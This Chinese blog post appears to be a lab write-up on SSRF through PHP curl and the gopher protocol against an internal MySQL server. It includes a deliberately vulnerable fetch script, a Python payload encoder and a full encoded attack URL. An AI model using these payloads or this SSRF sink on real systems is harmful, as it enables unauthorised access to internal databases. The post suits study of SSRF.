本地测试

一开始使用的是 centos 6.5 的虚拟机

后来发现我的 curl 为 7.19.7 版本,不支持 gopher 协议

但是都失败了..

如果有 centos 6.5 升级 curl 版本成功的请告诉我!

环境搭建

失败了就只能慢慢的搭环境了,一时脑抽想体验一下 docker-compose,就去装了 dnmp(docker+nginx+mysql+php) 很棒的一个项目

不过默认 php_curl 扩展没有打开,需要手动开启,否则会报错 curl_init 函数未定义

我的环境大概就成了这样:

主机 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器

容器内则需要通过 ip 172.19.0.1 来访问到主机

nginx 容器内放一个 获取外部资源的 curl

if(isset($_GET["url"])) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_GET["url"]);

// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);

curl_close($ch);

}

?>

进行本地测试

image.png

成功通过 gopher 协议将数据传送到了 2333 端口

远程测试

1533999437946.png

抓包

使用 tcpdump 抓包

为方便抓包,mysql -h127.0.0.1 -uroot -p 指定使用 TCP/IP 套接字,否则会使用 unix 套接字

在 mysql 的认证阶段,如果有密码,那么服务端会返回一个 salt 来进行密码认证

因为我们是直接发送数据流没办法与服务端交互,因此 只能是空密码

数据处理

将原始数据转换成类似 url 的格式

#!/usr/bin/env python2

# coding: utf-8

import urllib

s = """5000000185a60f0000000001210000000000000000000000000000000000000000000000746573740014d07fd833aedda1666a97d3474aa85f399659626f6d7973716c5f6e61746976655f70617373776f726400

210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031

0f0000000373686f7720646174616261736573

0100000001"""

s = "".join(s.split())

def encode(s):

a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]

return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)

print "[+ local]", s

s = urllib.quote(s)

print "[+ url]", s

本机测试

1534000335933.png

远程测试

最终 payload 为

curl -vv ssrf/?url=gopher%3A//172.19.0.1%3A3306/_%25b0%2500%2500%2501%2585%25a6%253f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2573%2503%255f%256f%2573%2510%2564%2565%2562%2569%2561%256e%252d%256c%2569%256e%2575%2578%252d%2567%256e%2575%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2506%2531%2532%2531%2530%2535%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2507%2531%2530%252e%2531%252e%2532%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501 --output -

可以成功

1534000725105.png

许多许多坑

大概是昨晚没睡好.. 一天脑子短路

昨天用 kali 和另一个虚拟机(centos)来搞,搞了半天发现是 curl 版本太低,不支持 gopher 协议

然后想把 curl 版本升上去,一晚都没睡好,还tmd失败了

第二天起来拿 docker-compose 搭了个 环境,一开始测试没有返回数据,最坑的是 nginx 还tmd返回 200 OK,让我一度怀疑人生,检查 docker-compose 组件关系,最后发现是 php curl_init 函数未定义

这次就是 php_curl 扩展没有开,打开一下,又是一顿搜索

搭好了测试,本地测试炸了,远程测试也炸,一度怀疑我的 payload 有问题,又是检查 url格式 又是重新抓包

最后问题在于 nginx 服务器的 127.0.0.1 并没有指向我的主机..

nginx 装在 docker 中

主机 80 端口映射到了 nginx 容器,3306 端口映射到了 mysql 容器,因此可以直接 用 127.0.0.1 访问

但是 用于测试的 2333 端口并没有进行映射,因此 nc 主机 de

127.0.0.1:2333 对于 nginx 的 127.0.0.1:2333 来说 并没有什么卵用

现在想想,当时懒不想去配日志,猜来猜去才弄出这么多事情,得

mysql 远程攻击_gopher 协议攻击内网 mysql相关推荐

  1. SSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划

    作者 | Qwzf 责编 | 夕颜 头图 | CSDN付费下载自视觉中国 出品 | CSDN博客 前言 SSRF漏洞和CSRF漏洞有一些相似之处:CSRF跨站请求伪造,基于客户端的请求伪造:SSRF服 ...

  2. SSRF漏洞的利用与攻击内网应用

    首发于先知社区 0x00 前言 学过CSRF漏洞后,收获颇多.同时发现SSRF漏洞和CSRF漏洞有一点点类似之处. CSRF跨站请求伪造,基于客户端的请求伪造:SSRF服务器端请求伪造,基于服务端的请 ...

  3. 如何实现外网访问内网mysql数据库

    今天跟大家分享一下两种特定网络环境下,如何实现外网访问内网mysql数据库. 第一种网络环境:路由器分配的是动态公网IP,且有路由器登录管理权限.如何实现外网访问内网mysql数据库? 针对这种网络环 ...

  4. 通过nginx代理进行内网mysql的访问

    公网只暴露了一个默认端口,只好想办法访问数据库 选用nginx进行转发.配置如下: stream {upstream cloudsocket {hash $remote_addr consistent ...

  5. 实战 | SSRF攻击内网的实战案例

    0x01 苦逼的测试任务 某一天,我照常在学校的CTF群和学长吹水,突然管事的学长在群里发了一张图,这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试.上面的老师自然而然把这个任务分配给我们CTF战 ...

  6. Smb协议实现内网共享目录文件处理及踩坑记录

    Smb协议实现内网共享目录文件处理及踩坑记录 一.业务场景 公司内网环境,有部分比较古老的业务数据保存在一台windows服务器的共享目录里面.现在需要操作这个windows服务器的共享目录来上传下载 ...

  7. php mysql盲注_[题目]记一次利用gopher的内网mysql盲注

    进去之后随便输账号密码登陆, 发现是个send.php在url后缀中,疑似文件包含,尝试用phpfilter发现可以任意读取,把源码down下来之后发现是个利用gopher的ssrf,题目已经提示得很 ...

  8. mysql ssh隧道连接内网mysql

    通过SSH隧道连接MySQL数据库 一.背景 问题所在:MySQL被运用于越来越多的业务中,在关键业务中对数据安全性的要求也更高,数据安全如果只靠MySQL应用层面显然是不够的,虽然说MySQL实现的 ...

  9. mysql代理服务器_mysql-proxy代理同一内网的数据库

    浅析: 具体部署:mysql服务器: #授权远程登录账户 [root@localhost ~]# mysql -uroot  -pmysql> GRANT ALL ON *.* to 'test ...

最新文章

  1. J0ker的CISSP之路:复习Access Control(10)
  2. MJRefresh iphonx 显示问题
  3. 【区块链:超级账本】Win10 Hyperledger环境搭建
  4. 怎样在C语言程序中使用功能键和箭头键?
  5. Python功能之反射
  6. poj3061 尺取法 挑战程序设计竞赛
  7. Discretized Streams (DStreams)离散化流
  8. Mac OS下使用VS Code对C++程序进行debug的配置
  9. ICCV2021|面向城市场景理解的大规模3D点云挑战赛
  10. python导入表格后坐标轴刻度设置_Python-更改matplotlib中x或y轴上的“刻度频率”?...
  11. 美国留学计算机网络技术,美国留学计算机专业详解
  12. 【三维激光扫描】第四章:点云数据处理
  13. 地方时太阳时html源码,地方时、区时和世界时
  14. 【小程序项目分享】多功能抽签分组系统
  15. php 生僻字 拼音,php 汉字转拼音 [包含20902个基本汉字+5059生僻字]
  16. 象棋 计算机配置,中国象棋电脑应用规范(五)
  17. 代理ip按功能分哪几类?
  18. 红与黑题解(深搜入门ing)
  19. mysql语句批量更新数据库_sql 更新批量数据库语句
  20. 什么是正价元素和负价元素??

热门文章

  1. Arraylist gossip
  2. iptables防火墙详解
  3. leetcode_最长回文字符串
  4. [云炬创业基础笔记]第六章商业模式测试24
  5. 科大星云诗社动态20210827
  6. 阴差阳错2019-12-13
  7. 在 C++ 中实现一个轻量的标记清除 gc 系统
  8. C++ 关键字 (try-finally) 收藏
  9. declspec(dllexport)与_declspec(dllimport) 异同
  10. wireshark应用--wireshark原来那么简单